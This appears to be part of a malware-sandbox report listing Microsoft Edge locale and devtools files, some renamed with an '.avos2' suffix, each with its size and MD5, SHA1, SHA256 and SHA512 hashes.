7978b6e76fdcb9321bcaf35ca3dc01c1381529c92b434075b3f18b5fe787824e4b31a7db0b472302d472f39ac5b31a52633fe33c86c51b4e8dda6eda4a2f10e1

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\devtools\ko.pak.DATA.avos2

Filesize
688B

MD5
04300a8beb7d23a9c88079986756dc73

SHA1
c9db51a0ffb5e192915dd390ca091e47bb2388bb

SHA256
c3201d608981aacc32d3c10fd933404fad3627b70c6af4d65fe5b9d32db97248

SHA512
8f24fbbd3ce9717b04632481faad835a8372810dd9c6024af562d688e77ad41fb3400e154a3bee4c4b56ea80cdf923dcb2df88255c677d9c32c382464b76b1ba

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\devtools\pt-BR.pak.DATA

Filesize
688B

MD5
f40e12f7255bc592d517137aaffe539b

SHA1
ef06c63933df6af61b632f1b1699fd53784182c7

SHA256
6e46bd929a4c2ec8b37d723f37a4496cddfdab43b6086e04de98698a99573917

SHA512
44080e98ab0e54de5ffc1db48a123e8b1cb3693cb945eaf1f75aeb911c09052df8c256fd0f3f70b318c967ae612dc23be62de6288d420fa61ae1db22b51cc3de

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\devtools\ru.pak.DATA.avos2

Filesize
688B

MD5
28f5c0a08d7b7f48590b9a9209da72b9

SHA1
00b56ab3c91d1f7fb5c6c8f5ffc941e0d192ddfa

SHA256
892c62905445b7218299e412fd54c29d9d7b425e0663aac5419a0580ba6bfe05

SHA512
a22307b067c6c108fc5f0ec1827bd2c76188ecdc6404b98448eae492edc2793155953293da6a61ef196b2a6b65852c351b114f65560763d44a31641c4764031b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\devtools\zh-CN.pak.DATA.avos2

Filesize
688B

MD5
949e38ff9b45816db564a9bdbabfb646

SHA1
67bd51a340b69c1c1e0a012b4045a83033ef5081

SHA256
674f0e23a8b831e2fcb0894a7839b827650f3caa13548cc3be316e0639e2690d

SHA512
f94e40995b9fadbcfd0973285b6d9a801c2a352736aff588c1b1e27ba33c121f207b9d694bdf3b11585affbef2f3ff7c5a57e5843b70966a9966d2da72545ae2

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\devtools\zh-TW.pak.DATA.avos2

Filesize
688B

MD5
83dd84b4873890d4c3adbc24de26d92c

SHA1
29198f58b095f46da972d4cb7368b24dfd0009bf

SHA256
6ba7a3de7a9e33521e079a994b6f5eb27bfac49619de7a27c93a5378ca8406ee

SHA512
95f7e2a1eb4af5eea59f10adb0eba020e34fdf01fbe0ef3fcba45b99984564e9f73a01eb52c055d97d328080ad9f1a7cc4751a41959f62e68dfd0463c03edbbd

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\en-US.pak.DATA.avos2

Filesize
688B

MD5
0bc8e06ab13a6e268aa12421a942e248

SHA1
1aaa73fba729d14bda462553cb90674b5eb24d35

SHA256
51aa385d97457f6fcc9d7fc821712f5d47f5f7591ea0a8012de1514bc9d902a9

SHA512
f4c3b064807c65301523c3b8025be1ea51658f6f6b563b802fca63b90355fd9bfcbe902cd27d0b039d77f3940b260c9ee82f39f726366d39553b3a5fdd1f7aa4

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\es-419.pak.DATA.avos2

Filesize
688B

MD5
f7d7dc1c755772c39c3598f35acb75bc

SHA1
cf3fd5c6f7e79f6b06579557851dc304dead933f

SHA256
d1946b6ff4ac4befe9bed067d56bd315e924d9d0daae784fb38e043b976525a5

SHA512
dd9637b8be04efa167d2f991fbbf59479bbe5414bcc52aa6ff3d17be2af5ee3500ac364c0b77c62cd158b5dc6026faca28e6598645a0978d3b8d41e35366a16c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\es.pak.DATA.avos2

Filesize
688B

MD5
9a312d9dec81a117d4ff829c938b56a1

SHA1
491effd63a7d0dc766e4d182752f8d120b006495

SHA256
96bcfdca9b5f3bdb455627193d34fb1bc5fb121ca00e9aee25fcc6f915f01ab9

SHA512
5d72ee849fa6357affa587fd33f380abf2936a1dc68b3a3075b545e680f1eb836d669c9691629df3c90a8d364f469617743b69a17a857d2885b9c5311eabc34f

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\et.pak.DATA

Filesize
688B

MD5
dcd8f6ac163ddf4f4261b390e6fe313a

SHA1
e161d2515f533a0fe1a4a634c5bfbade2cf2221e

SHA256
0a331bc91c4f09edddbab1542ac92b73b546218a0d867c94180aac4dcd7b3db3

SHA512
e445f3811b67684039a06ee1a0fc9bc8a713a5bf37cb0bb63ab25cf2baf587e66d593c745c16c7781b2e2ae41c9a38bc7ec36f5aeffc37168a2000e85ec06384

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\eu.pak.DATA

Filesize
688B

MD5
63b786cfc59f977d34c50aac699ead74

SHA1
d9e7de05789bb122dcdb7fcbceab4140714283db

SHA256
64c746c7fcb771705a6ca8c3798052f9122e13b8f9af1a6ea696e18768c85f7b

SHA512
c8b18f30af83b4c7b53083800a4170126dcbea89850aa3b232067ce60e4b40981d8715bca766cc92645b6b6e2b786c2b7a75252bedd0e4fdc3e3d33caa20c87e

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\fa.pak.DATA

Filesize
688B

MD5
66b65cf5f7879abb47a198a1b46afe98

SHA1
c57c5e483bf78ffdcd9a567b9c0c4d75f654eadc

SHA256
0b402a8faea3cffc3bdfb449aa9868cd746c3bb2dbdc52bb0c4c212d8401fef5

SHA512
3ac78745976872cf04f3b9737c712e5921248dd2fa41feaa6361cd34b15995e7a526985693152e9f3f7524ff23dc5e5651d7987f9412241d974a5ff0706a8ddf

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\fi.pak.DATA.avos2

Filesize
688B

MD5
cfb36495d73637dc984039ef95221b07

SHA1
67ff0953b794b56bab202519fe9d0df7ced0fe89

SHA256
f451bd9f54c55ad0e76edeb46198ff1800156171587d93847ffc47df96d5495b

SHA512
d4a146a24f2ecf8d1fa642a908960fc5c06e536a4fd2952f804c74ea4956d80a35f12336de537e932a6752dfef2c224f62daacb8424fbdf2ff023428eba06264

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\fil.pak.DATA

Filesize
688B

MD5
d8f0733cf3bf616edaf2de1ea36c6a97

SHA1
ab1b4458ce903fb98db06b70b6a7ad3019b60cc6

SHA256
136d9527dc29f0f91862db32f83326c6b9215748a973241ab919dfd6fff2b95b

SHA512
b70f421c9684e11d42d7b02ad5bd28980b4ff666e16f9cf04584ed58596700ab0a0f3dbb3a94bec51d2b5d50f14bdb630cee7282eba99de01a7ac3fceb263555

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\fr-CA.pak.DATA

Filesize
688B

MD5
9b0262d5c586bfab1f1fe7c78afb3091

SHA1
27c8b75b88b0b11c1a20e19231ec2fe719545404

SHA256
4dbd1d501a32f3edf5eada852e3ec95e15fe196749387defaa0e20f635343edf

SHA512
ce2f6e3394e5c82a5ad67996f0cccab6d9d3952821c0750b56c12e1173efad89d1caa54c7ef219b59572280552bc8ad8a1c88412343d7afa4b1e4043fd90c670

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\ga.pak.DATA

Filesize
688B

MD5
519beefb8235f58d3a28d956c2e99d59

SHA1
bc199f7d002fff2bffeacb88de349ca5d718f00e

SHA256
fb61454fc5349dddda0304240dba703a30209742e70f62932bc1319b6ea299d8

SHA512
718d8d6be036fbf42d5563e3caa0b0babdc228a93f43e3df5fa2bee9b80d0bb29ac50251e97c9ae7809782257265e6519269789e2d2be00936a9966f54fc9051

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\gd.pak.DATA.avos2

Filesize
688B

MD5
2632a5219066f36419126be651b4dacb

SHA1
4b4a53db8688708e1276032c053d7b3cc42a8f7a

SHA256
e5792cfd683922c168d790d9a803b66c74cf734a842f762658789e4e0023d720

SHA512
51b4eeaeb631a610916051a0d58c4976fb781be83f7db6e00ccbb02ab175cde1c372426dded70087b47046bc4616078f16556dab2d3cb09f7c6ceb4a272a42a8

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\gl.pak.DATA

Filesize
688B

MD5
579d8ac8c33dfa98e02543d49705efc4

SHA1
077d0e571d5054b1bb35caba5896c50910f66c16

SHA256
201a91820219b010e164551871cd59abbaa03d47f29cd9dc8dc2cec2a0d52486

SHA512
1a21f33f63ecc964a877e2c3b65a5f2d9d5c4813f27a9bbf9520ea1ee2c0df6a9bf9c1c8aae90646d83a2452325b54659a28450e6936309d47732799e45a809b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\gu.pak.DATA

Filesize
688B

MD5
77af55c5b994cf2f855c11582d3e8138

SHA1
3e9a1b2b101160bceff5b05ea1e0831224575d86

SHA256
7273987c498c818c714a965e2c25d8f26d1d410ff7b6c08865f121fd6dc18305

SHA512
42083651289e9ac644a85bd393280ebd2c2f562229a7011ea3c82099ba2d61aeb4373efd07cf6257b9bfd31544b0e9a6d51cccb89cbe07044525bfe3b36a207b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\he.pak.DATA

Filesize
688B

MD5
7483dd8e16fecca68142435360f0e03e

SHA1
1599b6a1f45e51b7eadf73207d39e614f7d224a9

SHA256
a79611428317df05ee1c9a04bea8478f3d72efabea1b52d0d02ce5870e318e5d

SHA512
9b9f9e3ad89bcbf2a799b3c6203c931c2404cdb538e52bcd06fb8275e22607c6a088ebe83c63f31f80f990d44c912013d0169d40cefb7162ea520d6c958444d9

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\hi.pak.DATA.avos2

Filesize
688B

MD5
14ad4fd87fb13b0a65fe5e46b8a5078a

SHA1
a30930a7658b6320ea38e33c99afc574b2c36c8a

SHA256
8a17620af19499be324513ea61503e578b47494b4037fbabe85eb3717b2b5897

SHA512
56ffeace74282c8ad03103d49e2ccd0351e5a4e725b1fc2f99b4c5162781eed2909cd80a6c8b5f28a31623b74b4265f4e42bc0cf0c90486173df2381e34de863

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\hr.pak.DATA

Filesize
688B

MD5
638fdab846f7985a79285a94e05699f6

SHA1
50bfcc14b0c7c307df34cc741aaa3d72d78f57ab

SHA256
11ea6e9548e47bd1a905fce3e3e64698462fe77c964c1d128e0e49c2ad113b7c

SHA512
68b5ce6275def36e0a553297a7a0438e59474acf914ce25d063a8d681529feb6ddb31220f1cc1b3292fc27139244f8ff4513196cf136b6edf91faa7a680811a5

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\hu.pak.DATA

Filesize
688B

MD5
4127db5f3bb511a4d8996f0b618d1ed4

SHA1
13f38ef0175f1ef43409565126c88d9cce1c1a97

SHA256
e205714b6e7c84b78bc80fb5dc06fc5c6b848bf9231c57dd50ec4f41049e5992

SHA512
20ad70070683b5f5b91649d0d03a03a97d6d7da1be5634a0b01fb1bb08ea477e0b6febab16c09f6b86e0af68e4e75739b03b284550923d01d290d5d84931eb70

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\id.pak.DATA.avos2

Filesize
688B

MD5
c420d488a4d51f8ef6ba5360890f9954

SHA1
acaf977928b4edbeb9cf1a81b8e62ef97d8595a2

SHA256
c6bc6fbd5111117c8bf869964e0503b3db29752b11b5665bca8d3afc8bd60606

SHA512
8ff1e4e571239d4fd782046cf09624406fe4b48aedc301a4062c68c595f848f9af99a81575245fa1e7aceac7d9a44c74ff96d756d645dbc0f9896808f94892c8

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\is.pak.DATA

Filesize
688B

MD5
ca04cb3777ddbea59364f6a32b5d41d2

SHA1
7228ef7fa1d2d2e1e0181d5f0b09ac2782be8f3d

SHA256
016bdc14b2d72c739f13874292247047be50444d3315010b0f9d811932697b93

SHA512
b69ba29c862966938143fcffa7f712c8d19b8366db8f65f2ba28fcab178c6405b873c92869ee06ba33e03d054500622920504c91901a1bbc0eb0092e69b92073

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\it.pak.DATA

Filesize
688B

MD5
4e7adc4298b424bde09f8ded5ad4a72f

SHA1
42f6bcdf130eb8ae6ea5cce1222f10be24710e9c

SHA256
d451d23e18866d826b2b8a4aad6ee3aa91f5523d556df6cf0b412fa03d8c1c24

SHA512
311403011873d2e179c48deb1815d478a155d512346bdb538b7106af76cf44c5c860644d7394814d4f245f5218d8fb6c62bc8dc8598440c3da20ffe70d979975

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\ja.pak.DATA

Filesize
688B

MD5
a48fd9eb8a49c1c0d6b3ba4ddde4e638

SHA1
033c90cda09a2f38f656e05db7c503cfb62d5517

SHA256
63a0c7bd10aef3824481050f7ef8b270cedb11b195b20b106f0054ade6bf1806

SHA512
33eb9a3948399fe93b449288199aecf7690ab376ab1a1254b35491ee9ed9d4f9a2ba8eaed27cad730c4e0731c475515e8616dd0bae2e0462cd0ec8a66fb42cc5

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\ka.pak.DATA

Filesize
688B

MD5
a5ede4f5b19449860a5638d45bb2aee7

SHA1
2b1b73e7e79da20b4585c5a1bd94094791e102b2

SHA256
494275f85ad8c6899e523be2b8020e9dfc230e149df6d372319fece94f1a865b

SHA512
b3c7fc942e52805986fb36be552ce066e16779c7e9e9174ca4bfe0f131b07fb75ba304b40835207c38468542f965bef7c6bbcc853a648fcaaf9bb98a86c33821

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\kk.pak.DATA

Filesize
688B

MD5
e00746ad299012bbcbfcb080e65da0f1

SHA1
ea7028c6e660170874fcaa523b723018a9a5c429

SHA256
65d7361306c7cda396bb6cde0fa7d575d6a475477b77c8a53ac654945a8ba68f

SHA512
1137894c8afa1df92293b9b5c332fb06ffd01f11fec503a930039a883da43eb4bbf8c7292a323e6ca8956856f145ba9480a75b519e2127c1799d998392118f2f

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\km.pak.DATA

Filesize
688B

MD5
235a93d1eb853975423baba60e3f8d73

SHA1
992c73348da632f8a6b6ff4148e22fc1c6c97db9

SHA256
a572e7218a80c671774ddc1485d63114b0cfc7e101992b14d54ee11ffa1a5d59

SHA512
7fe5393d787f754aeb181e1e59f83c10f9888ba1b4fc1468833dfbe8309e313249743ed5de31bcfa286a41638e23cbd98ba1402a2f12ad52ed62384244ebad6a

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\kn.pak.DATA.avos2

Filesize
688B

MD5
109318673b1936e3183ea9badeda7e42

SHA1
c9d37dc8864777f8d4b270bd4435c4cff94894ac

SHA256
0bc287e574ef41160598b7ddec4d0481619d15e47af93a5de17951fb92194027

SHA512
71b4e60fcddd4f9357d0a1a1efb0b792fb4b86e08eab4148711e0c054118fe5359ebc04459bfb7fd44f8f617d72caa1450cf4a4c2963c8e2deeb0a35aa971185

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\kok.pak.DATA

Filesize
688B

MD5
4cf98bb409a766493b40ca84d6ed2ae4

SHA1
b08d3660f8eaac2a33398f16db0e9232a016bb61

SHA256
134791b5e2b4adf0db7186499fdc26f8c4cd7ba0b45d5888734f15828c2b4cb2

SHA512
5e33ad634cce7f263f79c6a2d459a02a8586c6ee1e36ecf42cc32a3141a5a4d75963fd6ea1b544a83d6963005951bca559c2fde14ba1dbf210220c28528e71f7

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\lb.pak.DATA

Filesize
688B

MD5
4e1e2ea8fa195656f9f945d4ee5e7da4

SHA1
85d007190bed2b12921a684c421dff4b50a65334

SHA256
cdac58f8aeb90d3c8d0e12cc910b828d0cd9188a95492c55509744406a89a179

SHA512
a904c01017c7c2c845e6c14be400054bb3cf61a8e2b7ea87c912816b659a610af382796af19351072c3d3676eea86e7b804d512d0bfe728de95b932f7b404de6

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\lo.pak.DATA

Filesize
688B

MD5
dd94f4fcbe8796938c6065dfa4613e03

SHA1
138cfd29b2023fc4361e6c010da72356978771bc

SHA256
b62c26a77c36e4d7324a9296ff3338c1dccb03a98bbc9131dafdab846536531d

SHA512
237c7d5e3a415ee14c16eee07451be5222f4f7c68258efaf0068e07287f4f53088b62961d82352d72434e6f0267648ba6c30124ddf14311fc9e5008af3125387

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\lt.pak.DATA

Filesize
688B

MD5
e57f8b1c378ae4a4c658ce05b5f1becf

SHA1
90b52356a5683da9178c1a316827b0657d1b2c04

SHA256
d77416c58d8a0ca781142274f1cb17122feb9e2eb0b6964b86a657cbd313b9ae

SHA512
62bce61594a7b06957ad695454a320039329c79d29079944fd7e90ef67c7dbcc360a2e05f410b7dd463e8eeef3e0712b403f03dba308d9feeaedc123ecd899db

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\lv.pak.DATA

Filesize
688B

MD5
727d6155a952b2f900965e55f9a1efae

SHA1
77d9c9c2a2197e35df9afcff48465247dbc01661

SHA256
3c7ee9d5deba5b71ea084c2c30b62a33fd9230251051de187b71f07f73777726

SHA512
1d43111c4cfb50e020d9d928614317b4c96bcedb5e53293ccf03d2ab743f565276df6a79ba17a79ea8b0d9349794878fa5ba428e81536a716cfa03ebdf28cacb

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\mi.pak.DATA

Filesize
688B

MD5
0a27dd546576661fcdac7c614de3f3d2

SHA1
fee991f172d33f728152ca9faa195f1989e98354

SHA256
445e2ff1c2d68cc77d6a58feea50c0252367e54a608bbedbceb05e00c947f1ce

SHA512
626c1460d9f41a1eb8fca69245653edf8e0d9d5b84b167c1686b3abbedef2e1cbe38005088cdf2746653fc94d772ed1ce512f032d3a0e981a28bb1ee8bcf3045

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\mk.pak.DATA

Filesize
688B

MD5
c7210627d99a14e2aba51572efeab19e

SHA1
2aaaea15c6fa5af6e2b46de99a0ebbe3e63fb459

SHA256
d073d891d39a81e78ac5e363dceb3e435c6583ef6e20846b524592d34c3f56cc

SHA512
9b8843d888ff17a6665e3aba1ec0032f0f60d38404e21bc0ee4a71e2c39e432a4df0aa936d92e974858ee870dcb593016e9600889c910ab64e5233dea9eb19e8

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\ml.pak.DATA

Filesize
688B

MD5
50a6bc795309e81ab15b72c840aa4b6f

SHA1
5f2e8fefbef641435636cff73892c62f2d1d27a9

SHA256
a935c993f792c6350058a7ca365cf41c55fbf482d1dab7455d5901ec03d678d0

SHA512
edf8dc6cc693e76e324e8885bbb293cf60f5ebde91f85ffe111cab9c70df54c10445b1320090e153c34d49bd7216d01d57938da9110cf0491238eeee470bf512

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\mr.pak.DATA.avos2

Filesize
688B

MD5
a7bbe1b3210cfa5171520c7eb8906442

SHA1
0c55b3b8284dd8b8d18cccc663f0e8c2835c3605

SHA256
20af9509a5a447ec34a2132139aa87f43f53cb8cbfa0398460b06c919f3671d6

SHA512
d375f50ce99d736a3de159ec299c058292c10a1369d4231aabced46a6cffeb951f379c116e911ef805a3a8ba3cf78fe05f2657e2e9dfde953b0c6579af462655

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\ms.pak.DATA

Filesize
688B

MD5
fa0198f7a40de42de67f05cc13d714e5

SHA1
4e0fc6022a56a323575c0a559eca5ca16d57a746

SHA256
2156c698ebe657b5076f6ad1363d021e3a33a53e717deba524d68b4501e436a8

SHA512
d7594bdc4c57b72d2342ca363829fb938eb12e54aff0a6ee7f659f71bc2c537646097c2d363a93949222fca6772618776fd0fd4d4d873632b11d0a36c203eeca

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\mt.pak.DATA

Filesize
688B

MD5
ab1d6ec3fb5c0d670331233a8bba0473

SHA1
ba4f0b267ff064d71952c9d61482510692a09775

SHA256
2573048ded4a00a031e82b8983ce09324b010e44bde37f7093e2ca0d2417e9de

SHA512
b4e2c8431cb1f246b7fe01cafe97cb0da2d5c16d47e69124e601a1fb200ded55ae24cacf788fe4eb0531bb8ca35f4d92781fdbda48823cb69c6a7a4303229c4c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\nb.pak.DATA

Filesize
688B

MD5
143d731c8780dfda09a6c8eeecf50390

SHA1
f1b8bf900565955c47e11ebc43b8446775c9a4c0

SHA256
ffb330d478e1ac87ed235d9833d9974cd6d89def812e0dec490c05fe369812e8

SHA512
5c2f3b99adbdb221439b10b7a6d10c1a6d77e0b50d23ffa447b341683916d352781d2e48b76e8816c66d709e21e1920a927145cc25fb353a2e32753944d0bab8

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\ne.pak.DATA

Filesize
688B

MD5
72159e11da2d1cd60ea04e6ca60a9768

SHA1
0672ba00f2d6ca243ee74e1f1fbf77a22c8e16b8

SHA256
cf817f0ff86f66b83c5189983555d1f2ec0899d49c876b265f865f8216d17ff3

SHA512
571c8a546f0b16e771c7482ffcd262aeebc0ecb943cb487768969ccb1499e961994129b4069fe9e341542359f58d6bbc9235b5b7d207b59bc9d40aec8fa52399

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\nl.pak.DATA

Filesize
688B

MD5
c7660f81b928ea462b59e3678833b328

SHA1
c5caf64a74c62f4a960164ea7bdd74e65fc02ddf

SHA256
86cfd7226806f35db58e72fda6c8596e8a277277c736f98469877d58ca6654a4

SHA512
e780af83c9364dc1e5bc25b047820cf60bce2c4021a06753276bd00e3f35868910904817480817a6a24f7125a7ec3a989bce49cf13ca8b417c1cea1623a67098

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\nn.pak.DATA

Filesize
688B

MD5
077cca3506ebbee135e38a8788c081ce

SHA1
8c5f9075f7e08cc495bd700d158cafdc0506c18b

SHA256
565744d64159ffe7c9d2b739f508f1da4c5cc84c18b3b5ae5eb65cf0762f8dee

SHA512
acb438a1212238f4d9565c82ccb3bda9f8c638a0ba7ebbc7563c8b1883243a142cf614c2b9b8c155687838b78f791eae4309db756a03aa5f5f4a7ac72c91f4c8

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\or.pak.DATA

Filesize
688B

MD5
7983b82664947151ecad40b82e81b703

SHA1
3163941da85e0cc12b165a8cf9463fac20036547

SHA256
34cd6557ea7fe6a8f7a2ebf776ee531ca4c813aa6ad07aaed921bcae2db189e1

SHA512
32a5e45abaa2d6bcc1185e36d80bfb297289616c9fbae88dd35afd4982b41a8108ba56dc68238654b4f341cfcde8bf9f44a34971ed0cd17a5867fb5b733c4d25

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\pa.pak.DATA

Filesize
688B

MD5
2c7579966c826d042770cf9368bb2f03

SHA1
4bcade8683511f0d8bfe82d1cded5dcb07706b88

SHA256
ef089c95cc3018ec2bc4e694e29a8e3b09c809e473a7718621fa92683238b29c

SHA512
615d5042c4d2681dec7f3e31b1bc0d0643d7d906f97ecaf0a22ceeadce7e4ca7fa0558c8b470dfb2d2cb667eceacbc7224c044b38be418d43772034b2e34bd70

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\pl.pak.DATA

Filesize
688B

MD5
723686290604d3a91cb479c729f3911b

SHA1
c4653edb000ad0ed032400f2fe961448194babc1

SHA256
9ac70eeddc9efef1da0385139561940f01add97ca30b6156a82e5d99057d6de7

SHA512
27ffa54749130db6a47ccdbf7e5bee744107251efdd53043525595249647c98eb32bf00fdf7716c86a64b02cd29c61afbdb95a89f0e187d1c8dc62d8616f1346

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\pt-BR.pak.DATA

Filesize
688B

MD5
bd5d004d4fb4ad7205ff9d91095f413e

SHA1
5207f7d69351a5ea4a4f9554a235d18d324f534f

SHA256
7468bc923abfb4f85126ce6483f6cb727bf46916d3de8c7fac02c8020e906c19

SHA512
da38ae0f07a167babe3c1ce59700fb8add7209fdc6a511750e9dc399a6d91d5456ba2c83727451756e4586c7681b5829f4476ec621032bbd07ccf15135bbebcf

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\pt-PT.pak.DATA

Filesize
688B

MD5
ccfbe45a36f55ec5d9ab97f21143c991

SHA1
268b848a9d9e26b479e07a8b53f2159fc924431e

SHA256
49dc9275771a4151e23fced3004644e3cf2c5507b4019452d8d4d4610908353a

SHA512
c26cde2b9c421af9e559e252e66df9a9f62fcda9815c5374f93e0571955a3d6e2bd55f21c028f3ec826a63ed0ea793397d93a95869488bc064b44b8505ab98d1

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\qu.pak.DATA

Filesize
688B

MD5
738eaf592f5f912ffbac334c2d51299d

SHA1
e08331e347886b918bcd7ba8203e6cfa119998b3

SHA256
2dcf0d72144b33c6948d7d6c6c7acb1cad4a9f72b2c80cd6438738390b389e8c

SHA512
ca275b2d57e919084045b31bdd847ce77650bb7e73bcee5c50459cec912c869a0bf0b0edae440909f9638027dea535eb08cb011d0815ab0d02fc119c2b70a08f

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\ro.pak.DATA

Filesize
688B

MD5
ff0cad67f40a45aff927101fb62b9ba3

SHA1
91b83ca587810f93c6079652e76214ba551c3fd9

SHA256
e3b468b103bb31e36012c8fe87d6a829cbf6a65bee1812b89618ca633a3f2802

SHA512
cb67cb462c263a40db15688fa7531a8a5c6500003fbc3bb7d347c4a3f38235a2668a4d4f718e0b5964e96ee768a075111ee3ae38c80d3927606b1b756d80f045

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\ru.pak.DATA

Filesize
688B

MD5
f4c0455d62caac4254015115114ec611

SHA1
e14884f1cd62ba489d7dca2801b3fe2abcbce041

SHA256
53e84c776a6bf94a18b32e6e25bcc2c8a058e1e531cce681f048c0763e1ee1e3

SHA512
9147081d1602e844ed17a428754d4ccc60be46201f341624c2f0aace34db08689612e44b0a58bc31b70f4d351bc3dd99ce35ccb233c47309361378234185bed4

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\sk.pak.DATA

Filesize
688B

MD5
3d0d92a30a1b667946d0573191af25ed

SHA1
f6a3ac07bbe98c8be823abdd8c178744b11e2338

SHA256
89105e6a32fbb681079f0c35bceed4abacebbbf8345a7c5f150b454510de0d09

SHA512
c19b85aa6e0a48a0e108485e422cffc2291ddc4882cdce200133a7a9dd191ac371a5c9a42a120f9f312069bd13b1fc49d7debddea14654b73ab5788b9d82ee5c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\sl.pak.DATA

Filesize
688B

MD5
7323ff52770c662b4ae652257a4c0459

SHA1
728e67d101a37e512fbb194f60dee912eba27075

SHA256
f2c9e0dd461904ce8d0335d30e438449d3ef93d46fb9251b6e2006f3593f601c

SHA512
17329b7a688b57699f0cf892296fee660be0a107ef412a60500cc6560ef31a9d33acbb6b2d0d81868a3eba253f94d3c1042cbddab1b9107d642c33c0adfd68bd

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\sq.pak.DATA

Filesize
688B

MD5
1044885517f2b243a03a49269d3eb286

SHA1
ee21eab1ae2aaa169f2ded21232df05945f15647

SHA256
bd376b7ae3a5ef010d04857527c71894dcb87df376c09286cbe9a9db8e2b23fd

SHA512
